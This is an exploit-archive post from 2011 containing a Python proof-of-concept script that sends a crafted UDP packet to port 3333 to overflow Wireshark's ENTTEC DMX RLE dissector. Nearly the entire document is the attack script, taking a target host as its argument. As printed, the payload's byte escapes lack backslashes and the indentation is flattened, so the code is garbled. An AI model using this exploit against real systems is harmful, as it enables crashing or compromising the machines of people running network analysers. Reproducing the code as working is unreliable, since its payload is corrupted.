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Wireshark ENTTEC DMX Data RLE Buffer Overflow

Posted on 04 January 2011

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
host = sys.argv[1]
except:
print "usage: " + sys.argv[0] + " <host>"
sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDDx10x20x04"
data += "x00x0c"
data += "xfexffx41"
data += "xfexffx42"
data += "xfexffx43"
data += "xfexffx44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
udps.sendto(data, addr)
except:
print "can't lookup host"
sys.exit(1)

udps.close()
sys.exit(0)

 

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